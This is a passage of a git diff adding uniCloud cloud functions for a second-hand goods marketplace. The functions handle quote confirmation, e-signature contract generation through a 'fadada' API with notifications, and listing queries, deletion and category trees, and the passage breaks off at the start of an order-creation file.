+ dbName: 'uni-id-users',
+ getMain: true,
+ getOne: true,
+ whereJson: {
+ _id: quote.userId
+ }
+ })
+
+
+ // 获取询价单信息
+ const sheet = await vk.baseDao.updateAndReturn({
+ dbName: 'jjx-old',
+ whereJson: {_id: quote.sheetId},
+ dataJson: {
+ status: 1,
+ quoteUid: quote.userId
+ }
+ })
+
+ // 获取商品信息
+ const productTitle = sheet.title
+ if (sheet.type !== 3 && sheet.signMethod !== 1) {
+
+ const fadadaContractId = vk.pubfn.createOrderNo("E", 20)
+ // 新增合同记录
+ let contractTransactionId = vk.pubfn.createOrderNo("C", 20)
+ const contractId = await vk.baseDao.add({
+ dbName: 'jjx-contract',
+ dataJson: {
+ fadadaContractId: fadadaContractId,
+ contractBase: '', // 原始合同
+ contractHistory: [], // 历史合同
+ contractFinal: '', // 归档合同
+ status: 0,
+ userId: uid,
+ type: 'old',
+ quoteId: quoteId,
+ sheetId: quote.sheetId,
+ productList: [],
+ productTitle,
+ tradeMethod: 0,
+ partyCount: 2,
+ signCount: 0,
+ contractType: sheet.contractType,
+ signMethod: sheet.signMethod,
+ sellerSupplement: sheet.sellerSupplement,
+ transactionId: contractTransactionId,
+ amount: quote.totalPrice,
+ docTitle: sheet.title
+ }
+ })
+
+ await vk.baseDao.updateById({
+ dbName: 'jjx-old',
+ id: quote.sheetId,
+ dataJson: {
+ status: 1
+ }
+ })
+
+ const checkMessage = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-message-config",
+ whereJson: {
+ old: true,
+ uid: quote.userId
+ }
+ })
+
+ if (checkMessage) {
+ if (checkMessage.doNotDisturbRange) {
+ if (dayjs().isBetween(checkMessage.doNotDisturbRange[0], checkMessage.doNotDisturbRange[1])) return
+ }
+
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: quote.userId,
+ title: `旧货:${sheet.title}被选商`,
+ content: `您报价的旧货信息已被选商,赶紧去签合同吧`,
+ type: 'contract',
+ hasRead: false,
+ pk: quote.sheetId
+ }
+ });
+ await pubFun.sendNotifySms(quote.userId, 'SMS_474130453')
+ }
+
+ // 上传合同模板
+
+ //新增 用户与合同的关联记录
+ let buyerUid = uid
+ let sellerUid = quote.userId
+ if (sheet.type === 0) {
+ buyerUid = quote.userId
+ sellerUid = uid
+ }
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: buyerUid,
+ role: 'buyer',
+ sign: false,
+ contractId
+ },
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: sellerUid,
+ role: 'seller',
+ sign: false,
+ contractId
+ }
+ ])
+
+ if (sheet.signMethod === 0) {
+ const templateId = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '80e3bed065a5560e075799d24532b14f'
+ })
+ const buyerSignKeyword = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '0b153f9a65a56a2007227cf5157133bf'
+ })
+ const sellerSignKeyword = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '09e7876865a56a320731cb244bbef818'
+ })
+ const signMaxDate = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '657d78958b0da41d311bd94c'
+ })
+ const signEndDate = vk.pubfn.getOffsetTime(new Date(), {
+ day: parseInt(signMaxDate.content),
+ mode: "after",
+ });
+ // const fieldList = await vk.baseDao.select({
+ // dbName: 'jjx-contract-template',
+ // whereJson: {
+ // isOn: true
+ // }
+ // })
+ let buyerSupplement = sheet.supplementary ? sheet.supplementary : ''
+ let sellerSupplement = quote.remark ? quote.remark : ''
+ if (quote.supplierExt) sellerSupplement += `${quote.remark ? ',' : ''}${quote.supplierExt}`
+ let sellerUser = await vk.baseDao.findById({
+ dbName: 'uni-id-users',
+ id: quote.userId
+ })
+ let buyerUser = await vk.baseDao.findById({
+ dbName: 'uni-id-users',
+ id: uid
+ })
+ if (sheet.type === 0) {
+ sellerUser = await vk.baseDao.findById({
+ dbName: 'uni-id-users',
+ id: uid
+ })
+ buyerUser = await vk.baseDao.findById({
+ dbName: 'uni-id-users',
+ id: quote.userId
+ })
+ buyerSupplement = quote.remark ? quote.remark : ''
+ if (quote.supplierExt) buyerSupplement += `,${quote.supplierExt}`
+ sellerSupplement = sheet.supplementary ? sheet.supplementary : ''
+ }
+ let detail = sheet.title
+ if (sheet.otherCate) detail += `,${sheet.otherCateName}`
+ if (sheet.type === 0 && sheet.unit) {
+ detail += `,计价单位: ${sheet.unit},人民币单价: ${quote.totalPrice}元`
+ }
+
+ let tradeInfo = ''
+ if (sheet.type === 0) tradeInfo = `${sheet.payMethod}`
+ else tradeInfo = `报价:${quote.totalPrice}元,${sheet.payMethod}`
+ if (sheet.payMethod === '预付' && sheet.prePayRate) tradeInfo += `,${sheet.prePayRate}%货到付全款`
+ if (sheet.payMethod === '其他付款方式描述') tradeInfo += `:${sheet.otherPayMethodDesc}`
+
+ if (sheet.type === 2) {
+ tradeInfo += (sheet.invoice ? ',含税' : ',不含税')
+ if (sheet.invoice) tradeInfo += (',开票时间:' + (sheet.writeInvoiceTime ? WRITE_INVOICE_TIME[sheet.writeInvoiceTime] : '无'))
+ // tradeInfo += (',发票种类:' + (sheet.invoiceType ? INVOICE_TYPE[sheet.invoiceType] : '无'))
+ // tradeInfo += (',其他要求:' + (sheet.invoiceOther ? sheet.invoiceOther : '无'))
+ if (sheet.invoiceOther) tradeInfo += (',其他要求:' + sheet.invoiceOther)
+ else {
+ if (sheet.taxType && sheet.invoiceType && sheet.taxRate) tradeInfo += (`,纳税人身份:${sheet.taxType},发票种类:${sheet.invoiceType},税率:${sheet.taxRate}`)
+ }
+ tradeInfo += (',报价明细:' + (sheet.invoiceDetail ? sheet.invoiceDetail : '无'))
+ } else if ([0, 1].includes(sheet.type)) {
+ if (sheet.invoiceOther) tradeInfo += (',其他要求:' + sheet.invoiceOther)
+ else {
+ if (sheet.taxType && sheet.invoiceType && sheet.taxRate) tradeInfo += (`,纳税人身份:${sheet.taxType},发票种类:${sheet.invoiceType},税率:${sheet.taxRate}`)
+ }
+ }
+ let expressRequire = '无'
+ // expressRequire += `随货资料:${sheet.transportDocuments.join()},其他要求:${sheet.otherTransportDocuments ? sheet.otherTransportDocuments : '无'},运输限制要求:${sheet.transportLimit ? '有' : '无'}`
+ // if (sheet.transportLimit && sheet.otherTransportRequest) expressRequire += `运输限制说明:${sheet.otherTransportRequest}`
+ let region = ''
+ if (sheet.type === 1) region = sheet.deliverAddressRegion.province.name + ' ' + sheet.deliverAddressRegion.city.name + ' ' + sheet.deliverAddressRegion.area.name
+ else region = sheet.addressRegion.province.name + ' ' + sheet.addressRegion.city.name + ' ' + sheet.addressRegion.area.name
+ const parameter = {
+ seller: sellerUser.accountType === 2 ? sellerUser.company.companyName : sellerUser.person.personName,
+ buyer: buyerUser.accountType === 2 ? buyerUser.company.companyName : buyerUser.person.personName,
+ date: dayjs().format('YYYY年MM月DD日'),
+ sellerSignDate: dayjs().format('YYYY年MM月DD日 HH时mm'),
+ buyerSignDate: dayjs().format('YYYY年MM月DD日 HH时mm'),
+ contractNo: fadadaContractId,
+ region,
+ detail,
+ info: '无',
+ tradeInfo,
+ expressRequire,
+ defaultDuty: '1.乙方所交产品品种、型号、规格、质量不符合规定的,如果甲方同意利用,应当按质论价;如果甲方不能利用的,应根据产品的具体情况,由乙方负责包换或包修,并承担修理、调换或退货而支付的实际费用;2.乙方不予供货违约责任为甲方的实际损失+违约金,如乙方材料符合订货标准,甲方不能退货和不收货,甲方无条件应按实际本合同订货数量支付100%货款,并支付乙方因此产生的实际费用。带有甲乙双方单位相关收货人和发货人签字的本合同的发货清单事项和内容均视为本合同的补充合同,与本合同有相同的法律效力,双方应共同遵照执行。',
+ solve: '1、凡因本合同引起的或与本合同有关的任何争议,均可友好协商或仲裁解决,协商或仲裁不成的,双方协商同意在合同签订地人民法院管辖地起诉,违约一方或对合同争议承担主要责任的一方,应承担对方因仲裁和起诉而产生的全部律师代理费、鉴定(检验)费、诉讼保全费、诉讼保险费、公告费、差旅费、执行费、误工費和获取证据产生费用等其他相关费用。2、双方本合同相关权利放弃均应有双方书面作出并加盖公章或授权委托人签字后生效。',
+ forceMajeure: '甲乙双方的任何一方由于不可抗力或突发公共事件的原因不能履行合同时,应及时向对方通报不能履行或不能完全履行的理由,以减轻可能给对方造成的损失,在取得有关机构证明以后,允许延期履行、部分履行或者不履行合同,并根据情况可部分或全部免予承担违约责任。',
+ other: '本合同的全部内容由双方平等共同协商一致,共同起草制定,非一方事先拟定,不属于格式条款。本合同自双方签字盖章后生效(包括电子签字、盖章),按本合同内容地址、联系方式寄送的一切文书、函件送达与否,均为视为送达有法律效力,通知途径和本合同内联系方式或地址送达文件双方均予以验证。',
+ buyerSupplement,
+ sellerSupplement,
+ buyerAddress: buyerUser.accountType === 2 ? buyerUser.company.mailAddress : buyerUser.person.address,
+ sellerAddress: sellerUser.accountType === 2 ? sellerUser.company.mailAddress : sellerUser.person.address,
+ buyerLegal: buyerUser.accountType === 2 ? buyerUser.company.legalName : '',
+ sellerLegal: sellerUser.accountType === 2 ? sellerUser.company.legalName : '',
+ buyerAgent: buyerUser.accountType === 2 ? buyerUser.manager.personName : '',
+ sellerAgent: sellerUser.accountType === 2 ? sellerUser.manager.personName : '',
+ buyerMobile: buyerUser.accountType === 2 ? buyerUser.manager.mobile : buyerUser.mobile,
+ sellerMobile: sellerUser.accountType === 2 ? sellerUser.manager.mobile : sellerUser.mobile,
+ buyerBankName: buyerUser.accountType === 2 ? buyerUser.company.companyBankName : buyerUser.person.personBankName,
+ sellerBankName: sellerUser.accountType === 2 ? sellerUser.company.companyBankName : sellerUser.person.personBankName,
+ buyerAccount: buyerUser.accountType === 2 ? buyerUser.company.companyAccount : buyerUser.person.personAccount,
+ sellerAccount: sellerUser.accountType === 2 ? sellerUser.company.companyAccount : sellerUser.person.personAccount,
+ }
+ // for (let i = 0; i < fieldList.length; i++) {
+ //
+ // const field = fieldList[i]
+ // parameter[field.field] = ''
+ // }
+ const uploaddocs = await pubFun.fadada('generate_contract.api', {
+ template_id: templateId.content,
+ contract_id: contractTransactionId,
+ parameter_map: JSON.stringify(parameter)
+ })
+ let otherFileResList = []
+ if (quote.files && quote.files.length > 0) {
+ for (let i = 0; i < quote.files.length; i++) {
+ otherFileResList.push(contractTransactionId + 'qf' + i.toString())
+ await pubFun.fadada('uploaddocs.api', {
+ contract_id: contractTransactionId + 'qf' + i.toString(),
+ doc_title: sheet.title + `:报价附件${i + 1}`,
+ doc_url: quote.files[i],
+ doc_type: '.pdf'
+ })
+ }
+ }
+ if (otherFileResList.length) {
+ otherFileResList.unshift(contractTransactionId)
+ // 合并接口
+ contractTransactionId = vk.pubfn.createOrderNo("MC", 20)
+ const mergeRes = await pubFun.fadada('merge_contract.api', {
+ contract_id: contractTransactionId,
+ doc_title: sheet.title,
+ contract_ids: otherFileResList.join()
+ })
+ console.log('mergeRes', mergeRes)
+ console.log('otherFileResList', otherFileResList)
+ }
+ await vk.baseDao.update({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId
+ },
+ dataJson: {
+ transactionId: contractTransactionId,
+ }
+ })
+ if (parseInt(uploaddocs.code) === 1000) {
+ await vk.baseDao.updateAndReturn({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId,
+ userId: uid
+ },
+ dataJson: {
+ status: 1,
+ docTitle: sheet.title,
+ signEndDate,
+ otherFile: '',
+ contractBase: null,
+ buyerSignKeyword: buyerSignKeyword.content,
+ sellerSignKeyword: sellerSignKeyword.content
+ }
+ })
+ await vk.baseDao.updateAndReturn({
+ dbName: 'jjx-old',
+ whereJson: {
+ _id: quote.sheetId
+ },
+ dataJson: {
+ status: 2
+ }
+ })
+
+ res.data = uploaddocs.result
+
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: quote.userId,
+ title: `旧货:${sheet.title}待签合同`,
+ content: `您报价的旧货信息已创建合同,赶紧去签订合同吧`,
+ type: 'contract',
+ hasRead: false,
+ pk: quote.sheetId
+ }
+ });
+ await pubFun.sendNotifySms(quote.userId, 'SMS_474195497')
+ } else {
+ return {
+ code: -1,
+ msg: uploaddocs.msg
+ }
+ }
+ }
+ }
+ // else {
+ // const orderId = await vk.baseDao.add({
+ // dbName: "jjx-order",
+ // dataJson: {
+ // orderNo: vk.pubfn.createOrderNo("CO", 20),
+ // uid: uid,
+ // sellerUid: quote.userId,
+ // orderStatus: 0,
+ // type: 4,
+ // amount: quote.totalPrice,
+ // offAmount: quote.totalPrice,
+ // signMethod: 1
+ // }
+ // })
+ //
+ // await vk.baseDao.add({
+ // dbName: "jjx-order-goods",
+ // dataJson: {
+ // orderId,
+ // goodsId: null,
+ // num: 1,
+ // goodsName: '旧货交易',
+ // goodsPrice: quote.totalPrice,
+ // goodsCover: null,
+ // }
+ // })
+ // }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/delete.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/delete.js
new file mode 100644
index 0000000..f7f148e
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/delete.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/enquiry/sheet/kh/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ let {id} = data;
+ if (vk.pubfn.isNull(id)) {
+ return {code: -1, msg: 'id不能为空'};
+ }
+ await vk.baseDao.deleteById({
+ dbName: 'jjx-old',
+ id
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/getList.js
new file mode 100644
index 0000000..86608f8
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/getList.js
@@ -0,0 +1,147 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/old/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize = -1} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ let whereJson = {}
+ if (vk.pubfn.isNotNull(data.sellerOnly)) {
+ // whereJson.uid = data.uid
+ // whereJson.type = _.in([0, 2, 3])
+ whereJson = _.or([
+ _.and({
+ uid: data.uid,
+ type: _.in([0, 3]),
+ }),
+ _.and([
+ {
+ uid: data.uid,
+ type: 2,
+ rentType: 0
+ }
+ ])
+ ])
+ if (vk.pubfn.isNotNull(data.signMethod)) {
+ if (parseInt(data.signMethod) === 1) whereJson[0].push({
+ signMethod: parseInt(data.signMethod
+ )
+ })
+ else whereJson.signMethod = whereJson.push({
+ signMethod: _.neq(1)
+ }
+ )
+ }
+ }
+ if (vk.pubfn.isNotNull(data.buyerOnly)) {
+ // whereJson.uid = data.uid
+ // whereJson.type = _.in([0, 2, 3])
+ const orArr = [
+ _.and({
+ uid: data.uid,
+ type: _.in([1]),
+ }),
+ _.and([
+ {
+ uid: data.uid,
+ type: 2,
+ rentType: 0
+ }
+ ]),
+ _.and({
+ quoteUid: data.quoteUid,
+ type: _.in([0, 3]),
+ }),
+ _.and([
+ {
+ quoteUid: data.quoteUid,
+ type: 2,
+ rentType: 1
+ }
+ ]),
+ ]
+ if (vk.pubfn.isNotNull(data.signMethod)) {
+ if (parseInt(data.signMethod) === 1) orArr.push(_.and({
+
+ signMethod: parseInt(data.signMethod)
+ }))
+ else {
+ orArr.push(_.and({
+ signMethod: _.neq(1)
+ }))
+ }
+ }
+ whereJson = _.or([
+ ...orArr
+ ])
+ } else {
+ if (vk.pubfn.isNotNull(data.quoteUid)) {
+ whereJson.quoteUid = data.quoteUid;
+ } else whereJson.uid = data.uid;
+ if (vk.pubfn.isNotNull(data.signMethod)) {
+ if (parseInt(data.signMethod) === 1) whereJson.signMethod = parseInt(data.signMethod);
+ else whereJson.signMethod = _.neq(1)
+ }
+ }
+ console.log('whereJson', whereJson)
+
+ // console.log(whereJson)
+ res = await vk.baseDao.selects({
+ dbName: "jjx-old",
+ getCount: true,
+ pageIndex,
+ pageSize,
+ whereJson,
+ sortArr: [{"name": "_add_time", "type": "desc"}],
+ foreignDB: [
+ {
+ dbName: "jjx-old-quote",
+ localKey: "_id",
+ foreignKey: "sheetId",
+ as: "quoteList",
+ limit: 500,
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "uid",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1
+ },
+ ]
+ },
+ ]
+ })
+ for (let i = 0; i < res.rows.length; i++) {
+ if (res.rows[i].quoteUid) {
+ res.rows[i].otherUser = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: res.rows[i].quoteUid
+ })
+ }
+ res.rows[i].user = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: res.rows[i].uid
+ })
+
+ res.rows[i].contract = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-contract",
+ whereJson: {
+ sheetId: res.rows[i]._id
+ }
+ })
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/getMyQuoteList.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/getMyQuoteList.js
new file mode 100644
index 0000000..dbf9c2c
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/getMyQuoteList.js
@@ -0,0 +1,42 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/old/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize = -1} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ let dbName = "jjx-old-quote";
+
+ let whereJson = {userId: uid};
+
+ res = await vk.baseDao.selects({
+ dbName,
+ pageIndex,
+ pageSize,
+ getCount: true,
+ whereJson,
+ sortArr: [{name: "_add_time", type: "desc"}],
+ foreignDB: [
+ {
+ dbName: "jjx-old",
+ localKey: "sheetId",
+ foreignKey: "_id",
+ as: "sheet",
+ limit: 1,
+ },
+ ]
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/test.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/test.js
new file mode 100644
index 0000000..c84496d
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/kh/test.js
@@ -0,0 +1,158 @@
+'use strict';
+
+module.exports = {
+ /**
+ * 同意合作
+ * @url client/enquiry/quote/kh/confirmQuote 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {
+ data = {}, userInfo, util, filterResponse, originalParam
+ } = event;
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun,
+ vk,
+ db,
+ _
+ } = util;
+ let {
+ uid,
+ quoteId
+ } = data;
+ let res = {
+ code: 0,
+ msg: ""
+ };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ // 修改报价单状态
+ const quote = await vk.baseDao.updateAndReturn({
+ dbName: 'jjx-old-quote',
+ whereJson: {
+ _id: quoteId,
+ status: 0
+ },
+ dataJson: {
+ status: 1
+ }
+ })
+
+ if (!quote) {
+ return {
+ code: -1,
+ msg: '请刷新页面'
+ }
+ }
+ // 获取乙方信息
+ const quoteUser = await vk.baseDao.select({
+ dbName: dbName.user,
+ getMain: true,
+ getOne: true,
+ whereJson: {
+ _id: quote.userId
+ }
+ })
+
+
+ // 获取询价单信息
+ const sheet = await vk.baseDao.selects({
+ dbName: 'jjx-old',
+ whereJson: {_id: quote.sheetId},
+ getMain: true,
+ getOne: true
+ })
+
+ // 获取商品信息
+ const productTitle = sheet.title
+
+ const fadadaContractId = vk.pubfn.createOrderNo("E", 20)
+ // 上传合同模板并填充
+ // if(sheet.signMethod == 0 && sheet.contractType == 0) {
+ // pubFun.fadada('generate_contract.api', {
+ // template_id: '20231120',
+ // contract_id: fadadaContractId,
+ // parameter_map: JSON.stringify({
+ // jiaName: userInfo.accountType == 1?userInfo.person.personName: userInfo.company.companyName,
+ // jiaDate: '',
+ // jiaPhone: '',
+ // yiName: userInfo.accountType == 1?userInfo.person.personName: userInfo.company.companyName,
+ // yiDate: '',
+ // yiPhone: '',
+ // sellerSupplement: '',
+ // }),
+ // })
+ // }
+
+
+ // 新增合同记录
+ const contractId = await vk.baseDao.add({
+ dbName: 'jjx-contract',
+ dataJson: {
+ fadadaContractId: fadadaContractId,
+ contractBase: '', // 原始合同
+ contractHistory: [], // 历史合同
+ contractFinal: '', // 归档合同
+ status: 0,
+ userId: uid,
+ type: 'old',
+ quoteId: quoteId,
+ sheetId: quote.sheetId,
+ productList: [],
+ productTitle,
+ tradeMethod: quote.tradeMethod,
+ partyCount: 2,
+ signCount: 0,
+ contractType: sheet.contractType,
+ signMethod: sheet.signMethod,
+ sellerSupplement: sheet.sellerSupplement,
+ transactionId: vk.pubfn.createOrderNo("C", 20),
+ amount: quote.totalPrice,
+ }
+ })
+
+ await vk.baseDao.updateById({
+ dbName: 'jjx-old',
+ id: quote.sheetId,
+ dataJson: {
+ status: 1
+ }
+ })
+
+ await vk.baseDao.updateById({
+ dbName: 'jjx-old-quote',
+ id: quoteId,
+ dataJson: {
+ status: 1
+ }
+ })
+
+ // 上传合同模板
+
+ //新增 用户与合同的关联记录
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: uid,
+ role: 'buyer',
+ sign: false,
+ contractId
+ },
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: quote.userId,
+ role: 'seller',
+ sign: false,
+ contractId
+ }
+ ])
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/pub/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/pub/getDetail.js
new file mode 100644
index 0000000..2dd53e6
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/pub/getDetail.js
@@ -0,0 +1,67 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/old/pub/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-old",
+ getOne: true,
+ whereJson: {
+ _id: data.id
+ },
+ });
+ if (res) {
+ const {rows} = await vk.baseDao.select({
+ dbName: "jjx-old-quote",
+ whereJson: {
+ sheetId: data.id
+ },
+ limit: 500,
+ sortArr: [{"name": "_add_time", "type": "desc"}],
+ })
+ for(let i = 0; i< rows.length; i++){
+ rows[i].user = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ getOne: true,
+ whereJson: {
+ _id: rows[i].userId
+ },
+ })
+ }
+ res.quoteList = rows
+
+ res.hasQuote = false
+ res.isMine = res.uid === uid
+ res.quoteList.forEach(quote => {
+ if (quote.userId === uid) res.hasQuote = true
+ })
+
+ res.user = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ getOne: true,
+ whereJson: {
+ _id: res.uid
+ },
+ })
+
+ }else {
+ return {
+ code: -1,
+ msg: "未找到该旧货信息"
+ }
+ }
+ // res = result.rows
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/pub/getList.js
new file mode 100644
index 0000000..a4f4751
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/pub/getList.js
@@ -0,0 +1,78 @@
+'use strict';
+const dayjs = require("dayjs");
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/old/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize, type, isUrgent, rentType} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const whereJson = {isShow: 1, status: 0}
+ if (vk.pubfn.isNotNull(data.keyword) && data.keyword !== '') {
+ whereJson.title = new RegExp(data.keyword)
+ }
+ if (vk.pubfn.isNotNull(type)) {
+ whereJson.type = parseInt(type)
+ if (parseInt(type) === 2) {
+ if (vk.pubfn.isNotNull(rentType)) whereJson.rentType = parseInt(rentType)
+ }
+ }
+ if (vk.pubfn.isNotNull(isUrgent) && isUrgent) whereJson.isUrgent = true
+ if (vk.pubfn.isNotNull(data.categoryIds)) {
+ if (data.categoryIds.length === 1 && data.categoryIds[0] === 0) {
+ whereJson['category'] = ''
+ } else {
+ whereJson.category = _.in(data.categoryIds)
+ }
+ }
+ if (vk.pubfn.isNotNull(data.provinceCodes)) {
+ whereJson['addressRegion.province.code'] = _.in(data.provinceCodes)
+ }
+ if (vk.pubfn.isNotNull(data.cityCode)) {
+ whereJson['addressRegion.city.code'] = _.in([data.cityCode])
+ }
+ whereJson['expiredTime'] = _.gte(dayjs().format('YYYY-MM-DD'))
+ console.log(whereJson)
+ res = await vk.baseDao.selects({
+ dbName: "jjx-old",
+ pageIndex,
+ pageSize,
+ getCount: true,
+ sortArr: [{"name": "isUrgent", "type": "desc"}, {"name": "_add_time", "type": "desc"}],
+ whereJson,
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "uid",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true,
+ mobile: true,
+ },
+ person: {
+ personName: true,
+ mobile: true,
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ }
+ ]
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/old/pub/getTree.js b/uniCloud-tcb/cloudfunctions/router/service/client/old/pub/getTree.js
new file mode 100644
index 0000000..b3b9c13
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/old/pub/getTree.js
@@ -0,0 +1,65 @@
+module.exports = {
+ /**
+ * 查询多条记录 分页
+ * @url admin/kong/sys/getList 前端调用的url参数地址
+ * data 请求参数 说明
+ * @param {Number} pageIndex 当前页码
+ * @param {Number} pageSize 每页显示数量
+ * @param {Array} sortRule 排序规则
+ * @param {object} formData 查询条件数据源
+ * @param {Array} columns 查询条件规则
+ * res 返回参数说明
+ * @param {Number} code 错误码,0表示成功
+ * @param {String} msg 详细信息
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, type, level, formData} = data;
+ let res = {code: 0, msg: ''};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const whereJson = {
+ parent_id: _.in([null, ""]),
+ _id: _.exists(true),
+ type
+ }
+
+
+ let dbName = "jjx-old-category";
+ res = await vk.baseDao.selects({
+ dbName,
+ pageIndex: 1,
+ pageSize: 500,
+ whereJson,
+ sortArr: [{name: "sort", type: "asc"}],
+ // 树状结构参数
+ // treeProps: {
+ // id: "_id", // 唯一标识字段,默认为 _id
+ // parent_id: "parent_id", // 父级标识字段,默认为 parent_id
+ // children: "children", // 自定义返回的下级字段名,默认为 children
+ // level: 3, // 查询返回的树的最大层级。超过设定层级的节点不会返回。默认10级,最大15,最小1
+ // limit: 500, // 每一级最大返回的数据。
+ // whereJson: {
+ // }
+ // }
+ });
+ for (const item of res.rows) {
+ const children = await vk.baseDao.selects({
+ dbName,
+ pageIndex: 1,
+ pageSize: 500,
+ whereJson: {
+ parent_id: item._id
+ },
+ sortArr: [
+ {name: "quoteNum", type: "desc"},
+ {name: "sort", type: "asc"},
+ ]
+ })
+ item.children = children.rows
+ }
+ return res;
+ }
+
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/add.js
new file mode 100644
index 0000000..86efa43
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/add.js
@@ -0,0 +1,127 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
